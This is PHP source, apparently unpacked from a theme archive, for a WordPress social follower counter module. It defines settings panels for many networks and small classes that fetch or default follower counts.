			add_filter( 'rwmb_meta_boxes', array( $this, 'vimeo_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'soundcloud_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'github_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'behance_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'vk_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'twitch_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'tiktok_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'rss_option' ) );
		}

		function settings_pages( $settings_pages ) {
			$list_social_media = Penci_Social_Counter::$list_socials;

			$settings_pages[] = array(
				'id'          => 'penci_social_counter_settings',
				'option_name' => 'penci_social_counter_settings',
				'menu_title'  => __( 'Social Counter', 'soledad' ),
				'parent'      => 'soledad_dashboard_welcome',
				'style'       => 'no-boxes',
				'tab_style'   => 'default',
				'columns'     => 1,
				'tabs'        => $list_social_media
			);

			return $settings_pages;
		}

		function facebook_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'facebook',
				'title'          => __( 'Facebook Settings', 'soledad' ),
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'facebook',

				'fields' => array(
					array(
						'id'   => 'facebook_name',
						'type' => 'text',
						'name' => esc_html__( 'Facebook Page ID/Name', 'soledad' ),
						'std'  => '80655071208',
						'desc' => __( 'Never know it before? <a target="_blank" href="https://www.facebook.com/help/1503421039731588">Get it here</a>.' )
					),
					array(
						'id'   => 'facebook_appid',
						'type' => 'text',
						'name' => esc_html__( 'Facebook App ID', 'soledad' ),
						'std'  => '',
						'desc' => __( 'You can create an application and get Facebook App ID <a href="https://developers.facebook.com/docs/apps/register" target="_blank">here</a>.' )
					),
					array(
						'id'   => 'facebook_appsecret',
						'type' => 'text',
						'name' => esc_html__( 'Facebook App Secret', 'soledad' ),
						'std'  => '',
						'desc' => __( 'You can create an application and get Facebook App Secret <a href="https://developers.facebook.com/docs/apps/register" target="_blank">here</a>.' )
					),
					array(
						'id'   => 'facebook_token',
						'type' => 'text',
						'name' => esc_html__( 'Facebook Access Token', 'soledad' ),
						'std'  => '',
						'desc' => __( '<a class="pcfb_acces_token" href="#">Click here</a> to get the Facebook Access Token. Require Facebook App ID & Facebook App Secret' )
					),
					array(
						'id'   => 'facebook_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'facebook_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Custom "Fans" text', 'soledad' ),
						'std'  => esc_html__( 'Fans', 'soledad' ),
					),
					array(
						'id'   => 'facebook_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Like', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function vimeo_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'vimeo',
				'title'          => 'vimeo',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'vimeo',

				'fields' => array(
					array(
						'id'   => 'vimeo_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter Vimeo profile name.<br>Example: http://vimeo.com/<strong>profilename</strong><br/><i style="color:red">Please DO NOT enter the full profile URL.</i>', 'soledad' ),
						'std'  => esc_html__( 'Vimeo', 'soledad' ),
					),
					array(
						'id'   => 'vimeo_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'vimeo_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Custom "Subscribers" text', 'soledad' ),
						'std'  => esc_html__( 'Subscribers', 'soledad' ),
					),
					array(
						'id'   => 'vimeo_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Subscribe', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function youtube_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'youtube',
				'title'          => 'youtube',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'youtube',

				'fields' => array(
					array(
						'id'   => 'youtube_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => 'Enter your Youtube username.<br>Example: http://www.youtube.com/<strong>username</strong> or http://www.youtube.com/c/<strong>username</strong><br/><i style="color:red">Please DO NOT enter the full profile URL.</i>'
					),
					array(
						'id'      => 'youtube_type',
						'type'    => 'select',
						'options' => array(
							'channel' => __( 'Channel', 'soledad' ),
							'user'    => __( 'User', 'soledad' ),
						),
						'name'    => esc_html__( 'Account Type', 'soledad' )
					),
					array(
						'id'   => 'youtube_api_key',
						'type' => 'text',
						'name' => esc_html__( 'Youtube API Key', 'soledad' ),
						'desc' => __( 'You can register Google API Key here for <a href="https://developers.google.com/youtube/v3/getting-started" target="_blank">YouTube</a>.', 'soledad' ),
					),
					array(
						'id'   => 'youtube_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'youtube_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Subscribers', 'soledad' ),
					),
					array(
						'id'   => 'youtube_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Subscribe', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function soundcloud_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'soundcloud',
				'title'          => 'soundcloud',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'soundcloud',
				'fields'         => array(
					array(
						'id'   => 'soundcloud_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your SoundCloud username.', 'soledad' ),
					),
					array(
						'id'   => 'soundcloud_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'soundcloud_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'soundcloud_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function twitter_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'twitter',
				'title'          => 'twitter',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'twitter',
				'fields' => array(
					array(
						'id'   => 'twitter_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'envato', 'soledad' ),
						'desc' => __( 'Enter your Twitter Username', 'soledad' ),
					),
					array(
						'id'   => 'twitter_api_key',
						'type' => 'text',
						'name' => esc_html__( 'API Key', 'soledad' ),
						'std'  => esc_html__( '', 'soledad' ),
						'desc' => __( 'Enter your Twitter API Key', 'soledad' ),
					),
					array(
						'id'   => 'twitter_api_key_secret',
						'type' => 'text',
						'name' => esc_html__( 'API Secret Key', 'soledad' ),
						'std'  => esc_html__( '', 'soledad' ),
						'desc' => __( 'Enter your Twitter API Secret Key', 'soledad' ),
					),
					array(
						'id'   => 'twitter_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'twitter_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'twitter_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function instagram_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'instagram',
				'title'          => 'instagram',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'instagram',

				'fields' => array(
					array(
						'id'   => 'instagram_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Instagram username.', 'soledad' ),
					),
					array(
						'id'   => 'instagram_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default. ', 'soledad' ),
						'desc' => esc_html__( 'Instagram has stopped supporting getting follower numbers. You need to manually enter the follower number on this option. ', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'instagram_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'instagram_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function linkedin_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'linkedin',
				'title'          => 'linkedin',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'linkedin',

				'fields' => array(
					array(
						'id'   => 'linkedin_url',
						'type' => 'text',
						'name' => esc_html__( 'Linkedin url', 'soledad' )
					),
					array(
						'id'   => 'linkedin_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Linkedin', 'soledad' ),
					),
					array(
						'id'   => 'linkedin_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => penci_get_setting( 'penci_trans_follow' ),
					),
					array(
						'id'   => 'linkedin_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function pinterest_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'pinterest',
				'title'          => 'pinterest',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'pinterest',

				'fields' => array(
					array(
						'id'   => 'pinterest_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Pinterest username', 'soledad' ),
					),
					array(
						'id'   => 'pinterest_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'pinterest_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'pinterest_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function flickr_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'flickr',
				'title'          => 'flickr',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'flickr',

				'fields' => array(
					array(
						'id'   => 'flickr_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter full URL of your Flickr profile.<br/>Example: <strong>https://www.flickr.com/photos/yourprofile/</strong>', 'soledad' ),
						'std'  => esc_html__( 'Flickr', 'soledad' ),
					),
					array(
						'id'   => 'flickr_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default.', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'flickr_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'flickr_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function dribbble_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'dribbble',
				'title'          => 'dribbble',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'dribbble',

				'fields' => array(
					array(
						'id'   => 'dribbble_username',
						'type' => 'text',
						'name' => esc_html__( 'Dribbble UserName', 'soledad' )
					),
					array(
						'id'   => 'dribbble_token',
						'type' => 'text',
						'name' => esc_html__( 'Access Token Key', 'soledad' )
					),
					array(
						'id'   => 'dribbble_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Dribbble', 'soledad' ),
					),
					array(
						'id'   => 'dribbble_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'dribbble_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'dribbble_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function delicious_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'delicious',
				'title'          => 'delicious',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'delicious',

				'fields' => array(
					array(
						'id'   => 'delicious_username',
						'type' => 'text',
						'name' => esc_html__( 'Delicious UserName', 'soledad' )
					),
					array(
						'id'   => 'delicious_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Delicious', 'soledad' ),
					),
					array(
						'id'   => 'delicious_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'delicious_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'delicious_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function github_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'github',
				'title'          => 'github',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'github',

				'fields' => array(
					array(
						'id'   => 'github_username',
						'type' => 'text',
						'name' => esc_html__( 'Github UserName', 'soledad' )
					),
					array(
						'id'   => 'github_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Github', 'soledad' ),
					),
					array(
						'id'   => 'github_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'github_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'github_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function behance_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'behance',
				'title'          => 'behance',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'behance',

				'fields' => array(
					array(
						'id'   => 'behance_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Behance username', 'soledad' ),
					),
					array(
						'id'   => 'behance_api',
						'type' => 'text',
						'name' => esc_html__( 'Behance API Key', 'soledad' ),
						'desc' => __( 'Get your key <a target="_blank" href="https://www.behance.net/dev/apps">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'behance_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'behance_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'behance_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function vk_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'vk',
				'title'          => 'vk',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'vk',

				'fields' => array(
					array(
						'id'   => 'vk_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your VK username.', 'soledad' ),
					),
					array(
						'id'   => 'vk_api',
						'type' => 'text',
						'name' => esc_html__( 'VK API', 'soledad' ),
						'std'  => '',
						'desc' => __( 'Enter your VK API. Get your key <a target="_blank" href="https://vk.com/dev/">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'vk_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'vk_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'vk_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function tiktok_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'tiktok',
				'title'          => 'tiktok',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'tiktok',

				'fields' => array(
					array(
						'id'   => 'tiktok_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Tiktok username.', 'soledad' ),
					),
					array(
						'id'   => 'tiktok_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'tiktok_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'tiktok_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function twitch_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'twitch',
				'title'          => 'twitch',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'twitch',

				'fields' => array(
					array(
						'id'   => 'twitch_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Twitch channel name.', 'soledad' ),
					),
					array(
						'id'   => 'twitch_client_id',
						'type' => 'text',
						'name' => esc_html__( 'Client ID', 'soledad' ),
						'std'  => esc_html__( 'Twitch', 'soledad' ),
						'desc' => __( 'You can create an application and get Twitch Client ID <a href="https://dev.twitch.tv/docs/v5/guides/authentication/" target="_blank">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'twitch_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'twitch_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function rss_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'rss',
				'title'          => 'rss',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'rss',

				'fields' => array(
					array(
						'id'   => 'rss_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter the RSS unique setting name.<br><i>Put any text you want but not leave it blank.</i>', 'soledad' ),
					),
					array(
						'id'      => 'rss_type',
						'type'    => 'select',
						'name'    => esc_html__( 'Type', 'soledad' ),
						'options' => array(
							'feedpress' => 'feedpress.it',
							'manual'    => esc_html__( 'Manual', 'soledad' ),
						),
					),
					array(
						'id'   => 'rss_feedpress',
						'type' => 'text',
						'name' => esc_html__( 'Feedpress.it JSON file URL', 'soledad' ),
						'desc' => esc_html__( 'Apply to Feedpress RSS Type', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'   => 'rss_feed_uri',
						'type' => 'text',
						'name' => esc_html__( 'Feed URL', 'soledad' ),
						'desc' => esc_html__( 'Apply to Manual RSS Type', 'soledad' ),
					),
					array(
						'id'   => 'rss_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Subscriber default', 'soledad' ),
						'desc' => esc_html__( 'Show custom subscirbe on Manual RSS Type', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'rss_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text below the number', 'soledad' ),
					),
					array(
						'id'   => 'rss_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

	}

	new Penci_Social_Counter;
endif;
PK     1w\L^0  0  (  social-counter/counter-delicious-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Delicious_API' ) ):
	class Penci_Social_Counter_Delicious_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "https://del.icio.us/$page_id";
			$data['icon']  = penci_icon_by_ver( 'fab fa-delicious' );
			$default_count = penci_get_social_counter_option( 'delicious_default' );

			$data['count'] = $default_count ? $default_count : 0;

			return $data;
		}
	}

endif;
PK     1w\K    #  social-counter/counter-vine-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vine_API' ) ):
	class Penci_Social_Counter_Vine_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-vine' );

			$default_count = penci_get_social_counter_option( 'vine_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     1w\<<    &  social-counter/counter-youtube-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Youtube_API' ) ):
	class Penci_Social_Counter_Youtube_API {
		public static function get_count( $data, $cache_period ) {
			if ( empty( $data['name'] ) ) {
				return $data;
			}

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'fab fa-youtube' );

			$default_count = penci_get_social_counter_option( 'youtube_default' );
			$cache_key     = 'penci_counter_youtube' . $user_id;
			$youtube_count = $default_count ? $default_count : get_transient( $cache_key );
			$youtube_type  = penci_get_social_counter_option( 'youtube_type', 'channel' );
			$youtube_api   = penci_get_social_counter_option( 'youtube_api_key' );

			if ( 'channel' === $youtube_type ) {
				$data['url'] = "https://www.youtube.com/c/$user_id";
			} else {
				$data['url'] = "https://www.youtube.com/$user_id";
			}

			if ( ! $youtube_count && $youtube_api ) {
				$count = 0;
				if ( $youtube_type == 'channel' ) {
					$youtube_data = @penci_remote_get( "https://www.googleapis.com/youtube/v3/channels?part=statistics&id=$user_id&key=$youtube_api" );
				} else {
					$youtube_data = @penci_remote_get( "https://www.googleapis.com/youtube/v3/channels?part=statistics&forUsername=$user_id&key=$youtube_api" );
				}
				if ( isset( $youtube_data['items'][0]['statistics']['subscriberCount'] ) && $youtube_data['items'][0]['statistics']['subscriberCount'] ) {
					$count = (int) $youtube_data['items'][0]['statistics']['subscriberCount'];
				}
				if ( $count ) {
					set_transient( $cache_key, $count, $cache_period );
					$data['count'] = $count;
				}
			}

			return $data;
		}
	}

endif;
PK     1w\Ɍ    &  social-counter/counter-behance-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Behance_API' ) ):
	class Penci_Social_Counter_Behance_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://www.behance.net/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-behance' );

			$behance_api           = penci_get_social_counter_option( 'behance_api' );
			$behance_count_default = penci_get_social_counter_option( 'behance_default' );
			$behance_count         = $behance_count_default ? $behance_count_default : get_transient( 'penci_counter_behance' . $user_id );

			if ( ! $behance_count && $behance_api ) {
				try {
					$data  = @penci_remote_get( "http://www.behance.net/v2/users/$user_id?api_key=$behance_api" );
					$count = (int) $data['user']['stats']['followers'];
				} catch ( Exception $e ) {
					$count = 0;
				}
				set_transient( 'penci_counter_behance' . $user_id, $count, $cache_period );
			} else {
				$count = $behance_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     1w\̍
  
  $  social-counter/counter-steam-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Steam_API' ) ):
	class Penci_Social_Counter_Steam_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-steam' );

			$default_count = penci_get_social_counter_option( 'steam_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     1w\*#    (  social-counter/counter-pinterest-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Pinterest_API' ) ):
	class Penci_Social_Counter_Pinterest_API {
		public static function get_count( $data, $cache_period ) {
			$count           = 0;
			$user_id         = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']     = "https://www.pinterest.com/$user_id";
			$data['icon']    = penci_icon_by_ver( 'fab fa-pinterest' );
			$default_count   = penci_get_social_counter_option( 'pinterest_default' );
			$cache_key       = 'penci_counter__pinterest' . $user_id;
			$pinterest_count = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $pinterest_count ) {

				try {

					$url      = "https://www.pinterest.com/$user_id/";
					$response = wp_remote_get( $url, array(
						'timeout' => 10,
					) );

					$pattern = "/name=\"pinterestapp:followers\" content=\"(.*?)\"/";
					preg_match( $pattern, $response['body'], $matches );

					if ( ! empty( $matches[1] ) ) {
						$count = (int) $matches[1];
						set_transient( $cache_key, $count );
					}

				} catch ( Exception $e ) {
					$count = 0;
				}

			} else {
				$count = $pinterest_count;
			}

			$data['count'] = $count;

			return $data;
		}
	}

endif;
PK     1w\	t}  }  %  social-counter/counter-github-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Github_API' ) ):
	class Penci_Social_Counter_Github_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://github.com/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-github' );

			$cache_key     = 'penci_counter_github' . $user_id;
			$default_count = penci_get_social_counter_option( 'github_default' );
			$github_count  = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $github_count ) {
				$penci_data = self::get_json( "https://api.github.com/users/$user_id" );
				$count      = isset( $penci_data['followers'] ) ? intval( $penci_data['followers'] ) : 0;

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $github_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_url_wordpress( $url ) {

			$response = wp_remote_get( $url, array(
				'timeout'    => 10,
				'sslverify'  => false,
				'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'
			) );

			if ( is_wp_error( $response ) ) {
				return false;
			}

			$penci_request_result = wp_remote_retrieve_body( $response );

			if ( empty( $penci_request_result ) ) {
				return false;
			}

			return $penci_request_result;
		}

		private static function get_url( $url ) {
			return self::get_url_wordpress( $url );
		}

		private static function get_json( $url ) {
			return json_decode( self::get_url( $url ), true );
		}

	}

endif;
PK     1w\
b$    '  social-counter/counter-linkedin-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Linkedin_API' ) ):
	class Penci_Social_Counter_Linkedin_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-linkedin-in' );

			$default_count = penci_get_social_counter_option( 'likedin_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     1w\Y    '  social-counter/counter-dribbble-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Dribbble_API' ) ):
	class Penci_Social_Counter_Dribbble_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://dribbble.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-dribbble' );

			$count = penci_get_social_counter_option( 'dribbble_default' );

			$data['count'] = $count ? $count : 0;

			return $data;
		}
	}

endif;
PK     1w\    %  social-counter/counter-flickr-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
